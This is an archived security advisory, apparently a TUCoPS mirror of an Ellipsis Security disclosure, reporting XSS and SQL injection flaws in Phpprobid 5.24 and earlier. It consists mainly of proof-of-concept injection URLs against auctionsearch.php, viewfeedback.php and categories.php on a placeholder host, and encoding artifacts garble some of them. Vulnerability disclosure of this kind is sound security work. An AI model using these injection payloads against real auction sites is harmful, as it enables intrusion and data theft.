TUCoPS :: Web :: PHP :: b06-3869.htm

TUCoPS :: Web :: PHP :: b06-3869.htm
Phpprobid <= 5.24 XSS SQL injection Vulnerability

Phpprobid <= 5.24 XSS SQL injection Vulnerability Phpprobid <= 5.24 XSS SQL injection Vulnerability


Phpprobid 5.24=0D
http://www.phpprobid.com=0D 
--------------------------=0D
Cross Site Scripting (XSS)=0D
--------------------------=0D
alert(/EllipsisSecurityTest/)=0D">http://target.xx/auctionsearch.php?advsrc="=0D 
=0D">http://target.xx/auctionsearch.php?start=1&advsrc=">=0D 
-------------=0D
SQL injection=0D
-------------=0D
http://target.xx/viewfeedback.php?view=1'[SQL]=0D 
http://target.xx/viewfeedback.php?view=all&start=1'[SQL]=0D 
http://target.xx/categories.php?parent=&start=&orderField=itemname&orderType=1'[SQL]=0D 
-----------------=0D
Ellipsis Security=0D
http://www.ellsec.org